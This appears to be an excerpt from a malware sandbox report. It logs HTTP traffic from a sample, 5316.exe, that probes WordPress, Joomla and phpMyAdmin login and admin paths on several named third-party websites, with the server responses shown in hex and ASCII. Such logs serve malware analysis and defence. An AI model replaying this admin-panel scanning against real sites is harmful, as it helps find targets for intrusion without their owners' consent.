Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.973751068 CET	176	OUT	GET /wp-login.php HTTP/1.1 Host: bookmyrace.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.371964931 CET	847	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 668 Connection: keep-alive Server: null Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 62 6f 6f 6b 6d 79 72 61 63 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@bookmyrace.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Dec 20, 2023 03:13:23.376456022 CET	218	OUT	GET /wp-admin/ HTTP/1.1 Host: bookmyrace.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://bookmyrace.com/wp-login.php
Dec 20, 2023 03:13:23.778847933 CET	847	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 668 Connection: keep-alive Server: null Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 62 6f 6f 6b 6d 79 72 61 63 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@bookmyrace.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	54240	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.986743927 CET	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: smithstar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.228228092 CET	292	IN	HTTP/1.1 410 Gone Server: openresty Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 39 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 73 6d 69 74 68 73 74 61 72 2e 63 6f 6d 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>49 <meta http-equiv='refresh' content='0; url=http://smithstar.com/' />a </head>8</html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	54304	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.028647900 CET	216	OUT	GET /wp-admin/ HTTP/1.1 Host: conalcorp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://conalcorp.com/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	54287	178.33.163.4	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.158453941 CET	180	OUT	GET /administrator/ HTTP/1.1 Host: antoniocorts.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.392899990 CET	390	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 199 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Dec 20, 2023 03:13:23.393199921 CET	238	OUT	GET /administrator/index.php HTTP/1.1 Host: antoniocorts.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://antoniocorts.net/administrator/
Dec 20, 2023 03:13:23.627686977 CET	390	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 199 Connection: keep-alive Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	54359	108.167.135.109	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.192586899 CET	187	OUT	GET /administrator/ HTTP/1.1 Host: www.theseekerchurch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.336960077 CET	277	IN	HTTP/1.1 404 Not Found Cache-Control: no-cache Content-Type: text/html X-Server: WEB07 Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Length: 103 Vary: Accept-Encoding Data Raw: 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
Dec 20, 2023 03:13:23.687707901 CET	252	OUT	GET /administrator/index.php HTTP/1.1 Host: www.theseekerchurch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.theseekerchurch.com/administrator/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	54350	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.205724001 CET	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.iconcap.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.416757107 CET	1060	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:23 GMT Server: Apache Set-Cookie: ci_session=BGIJOl09BD8HK1AuBzhVY1NiU25ScFMiUmYGcgRyAG8HbVJnBlwAYV88V3xRPwd1CGUMMgcwBjtTcAIxBzcAZwE1BjRRbVBvA2BSOg09DWYEZgk4XWkEMgdhUGgHZ1VrU2pTMFJhUzBSNQZiBGMAYgdgUjEGZgA%2BX2FXfFE%2FB3UIZQwwBzIGO1NwAmwHdwBdATEGZVEwUCQDY1J6DXsNJwQ4CXNdMgQ0B2VQZwcgVWNTYlNmUnxTYFIxBjgELwA3BzdSOwYtADpfaVdsUSYHPQgsDDsHMwYxU2gCJwdyAHEBNQZzUQtQNwNhUmwNZg1xBCEJO117BD8HZlBoBzhVcFMfUztSKFM4Um8GbQRgACkHN1InBjMAKF9wVwlRbQdoCDsMbgd1BnJTcgJLB1MAIgFmBi9RZFBtAyZSew1%2BDT8EMAk0XSYENQd5UH0HRVU3UzFTP1I9U35SMQYxBDAANgcyUjgGMwA5X3hXGFFtB3QIOgxnB20GeVN9AjYHMwAsAWAGI1FvUCUDPFI4DTsNPwQhCWxdaQR2ByRQAgdjVTFTJlM9UiRTOFJ3BngEIwA9B2tSMwYyAD9faFdtUTQHNQhnDDUHMgYyU2kCdgc9ADsBagYjUSFQJQNjUnsNVw1hBGIJdF1pBCcHa1AuBzhVYlNoU3ZScFNqUn4%3D; expires=Wed, 20-Dec-2023 04:13:23 GMT; Max-Age=7200; path=/ Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 32 0d 0a 41 43 43 4f 55 4e 54 5f 49 44 20 6e 6f 74 20 73 65 74 0d 0a 30 0d 0a 0d 0a Data Ascii: 12ACCOUNT_ID not set0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	54309	154.209.61.218	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.223975897 CET	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: directservbms.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.703139067 CET	1286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 36 66 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 2d 43 4e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 6e 64 65 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 63 65 2d 72 65 6e 64 65 72 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 43 68 72 6f 6d 65 3d 31 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 62 6c 65 2d 64 65 76 69 63 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 63 2c 6d 6f 62 69 6c 65 22 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e e6 b9 96 e5 8d 97 e6 b2 85 e9 99 b5 ef bc 9a e6 96 b0 e5 9e 8b e8 83 bd e6 ba 90 e4 ba a7 e4 b8 9a e2 80 9c e9 a3 8e e7 94 9f e6 b0 b4 e8 b5 b7 e2 80 9d 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 72 63 6c 69 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e6 b9 96 e5 8d 97 e6 b2 85 e9 99 b5 ef bc 9a e6 96 b0 e5 9e 8b e8 83 bd e6 ba 90 e4 ba a7 e4 b8 9a e2 80 9c e9 a3 8e e7 94 9f e6 b0 b4 e8 b5 b7 e2 80 9d e9 9a 86 e5 86 ac e6 97 b6 e8 8a 82 ef bc 8c e6 ad a6 e9 99 b5 e4 b8 8e e9 9b aa e5 b3 b0 e4 ba a4 e6 b1 87 e5 a4 84 e7 9a 84 e6 b2 85 e9 99 b5 ef bc 8c e4 b8 80 e6 b1 9f e6 b2 85 e6 b0 b4 e7 a2 a7 e6 b3 a2 e9 80 b6 e8 bf a4 ef bc 8c e4 b8 8e e2 80 9c e9 ab 98 e5 b1 b1 e4 b8 8a e7 9a 84 e5 a4 a7 e9 a3 8e e8 bd a6 e2 80 9d e5 bd a2 e6 88 90 e4 ba 86 e7 8b ac e7 89 b9 e9 a3 8e e6 99 af e3 80 82 e8 bf 91 e5 b9 b4 e6 9d a5 ef bc 8c e6 b9 96 e5 8d 97 e6 b2 85 e9 99 b5 e5 8e bf e7 ab 8b e8 b6 b3 e8 b5 84 e6 ba 90 e7 a6 80 e8 b5 8b e4 bc 98 e5 8a bf ef bc 8c e6 8a a2 e5 85 88 e5 8f 91 e5 b1 95 e6 96 b0 e5 9e 8b e8 83 bd e6 ba 90 e4 ba a7 e4 b8 9a ef bc 8c e6 b0 b4 e7 94 b5 e9 a3 8e e7 94 b5 e9 bd 90 e5 a4 b4 e5 b9 b6 e8 bf 9b ef bc 8c e5 9c a8 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 61 6f 74 61 6f 7a 68 75 74 69 2e 63 6f 6d 2f 7a 62 5f 75 73 65 72 73 2f 74 68 65 6d 65 2f 74 61 6f 74 68 65 6d 65 2f 69 6d 61 67 65 2f 66 61 76 69 63 6f 6e 5f 64 65 66 61 75 6c 74 2e 69 63 6f 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 69 72 65 63 74 73 65 72 76 62 6d 73 2e 63 6f 6d 2f 73 74 79 6c 65 73 2f 7a 6f 6e 67 68 65 2f 73 74 61 74 69 63 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 5f 33 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 Data Ascii: 86f1<!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"><meta name="renderer" content="webkit"><meta name="force-rendering" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,Chrome=1"><meta name="applicable-device" content="pc,mobile"><title></title><meta name="arclist" content="" /><meta name="Description" content="" /><link rel="shortcut icon" href="http://www.taotaozhuti.com/zb_users/theme/taotheme/image/favicon_default.ico"><link rel="stylesheet" href="http://directservbms.com/styles/zonghe/static/css/font-awesome.min_3.css" type="text/css"><link rel="stylesheet" hr
Dec 20, 2023 03:13:23.703172922 CET	1286	IN	Data Raw: 65 66 3d 22 68 74 74 70 3a 2f 2f 64 69 72 65 63 74 73 65 72 76 62 6d 73 2e 63 6f 6d 2f 73 74 79 6c 65 73 2f 7a 6f 6e 67 68 65 2f 73 74 61 74 69 63 2f 63 73 73 2f 73 74 79 6c 65 5f 32 38 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 Data Ascii: ef="http://directservbms.com/styles/zonghe/static/css/style_28.css" type="text/css"><script src="http://directservbms.com/styles/zonghe/static/js/jquery-2.2.4.min.js" type="text/javascript"></script><script src="http://directservbms.com/
Dec 20, 2023 03:13:23.703388929 CET	1286	IN	Data Raw: 63 6f 6c 6f 72 31 3a 3a 62 65 66 6f 72 65 2c 20 23 73 69 64 65 62 61 72 2d 6d 65 6e 75 2d 62 6f 78 2d 74 61 67 73 20 2e 63 6f 6c 6f 72 31 3a 3a 62 65 66 6f 72 65 2c 20 23 73 69 64 65 62 61 72 2d 6d 65 6e 75 2d 62 6f 78 2d 63 61 74 65 67 6f 72 69 Data Ascii: color1::before, #sidebar-menu-box-tags .color1::before, #sidebar-menu-box-categories .color1::before{border-right-color:#0ccccc}</style></head><body><div id="container"> <header id="header"> <div id="banner" style="background:url
Dec 20, 2023 03:13:23.703449965 CET	1286	IN	Data Raw: 73 2e 63 6f 6d 22 3e e8 92 b2 e5 b7 b4 e7 94 b2 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 09 09 09 20 20 20 20 0d 0a 0d 0a 09 09 09 20 20 3c 6c 69 20 69 64 3d 22 6e 61 76 62 61 72 2d 63 61 74 65 67 6f 72 79 2d 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 Data Ascii: s.com"></a></li> <li id="navbar-category-2"><a href="http://7iqhd.directservbms.com"></a></li> <li id="navbar-category-2"><a href="http://hlx2y.directservbms.com"></a></li>
Dec 20, 2023 03:13:23.703535080 CET	1286	IN	Data Raw: 61 63 74 3d 73 65 61 72 63 68 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 3e 0d 0a 20 20 20 20 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 71 22 20 69 64 3d 22 73 22 20 63 6c 61 73 73 3d 22 73 65 61 Data Ascii: act=search" id="searchform"> <input type="text" name="q" id="s" class="search-input" placeholder="..."> <button><i class="fa fa-search"></i></button> </form> </div> <nav class="header-nav">
Dec 20, 2023 03:13:23.703613997 CET	1286	IN	Data Raw: 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 79 35 36 72 73 68 6d 2e 64 69 72 65 63 74 73 65 72 76 62 6d 73 2e 63 6f 6d 22 3e e6 83 a0 e5 b7 9e e5 b8 82 3c 2f Data Ascii: </i> <a href="http://y56rshm.directservbms.com"></a> </li> <li> <i class="fa fa-pencil"></i> 2023-12-20 </li> <li>
Dec 20, 2023 03:13:23.703665972 CET	1286	IN	Data Raw: 86 ef bc 8c e7 a7 89 e6 89 bf e2 80 9c e5 bb ba e4 b8 80 e5 ba a7 e5 b7 a5 e7 a8 8b e3 80 81 e6 a0 91 e4 b8 80 e5 ba a7 e4 b8 b0 e7 a2 91 e2 80 9d e7 9a 84 e7 90 86 e5 bf b5 ef bc 8c e6 b7 b1 e5 85 a5 e8 90 bd e5 ae 9e e5 ae 89 e5 85 a8 e5 92 8c Data Ascii: 20231126
Dec 20, 2023 03:13:23.703705072 CET	1286	IN	Data Raw: 97 a5 e9 a3 8e e6 9c ba e6 ad a3 e5 bc 8f e5 b9 b6 e7 bd 91 e6 8a 95 e4 ba a7 ef bc 8c e5 88 9b e9 80 a0 e4 ba 86 e4 bb 8e e4 b8 bb e4 bd 93 e6 96 bd e5 b7 a5 e5 90 af e5 8a a8 e5 88 b0 e6 8a 95 e4 ba a7 e7 9a 84 e6 b9 96 e5 8d 97 e7 9c 81 e9 ab Data Ascii: </p><p>
Dec 20, 2023 03:13:23.703751087 CET	1286	IN	Data Raw: 70 3e 3c 70 3e e5 9c a3 e4 ba ba e5 b1 b1 e3 80 81 e8 ae a9 e5 ae b6 e6 ba aa e9 a3 8e e7 94 b5 e9 a1 b9 e7 9b ae e5 bb ba e6 88 90 e6 8a 95 e8 bf 90 ef bc 8c e6 89 93 e9 80 9a e4 ba 86 e6 b2 85 e9 99 b5 e5 8e bf e5 87 89 e6 b0 b4 e4 ba 95 e3 80 Data Ascii: p><p>
Dec 20, 2023 03:13:23.703788996 CET	1286	IN	Data Raw: 72 22 20 63 6c 61 73 73 3d 22 61 72 74 69 63 6c 65 2d 6e 61 76 2d 6c 69 6e 6b 2d 77 72 61 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 72 74 69 63 6c 65 2d 6e 61 76 2d 74 69 74 6c 65 22 3e 0d 0a 20 20 20 Data Ascii: r" class="article-nav-link-wrap"> <span class="article-nav-title"> <i class="fa fa-hand-o-left" aria-hidden="true"></i>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
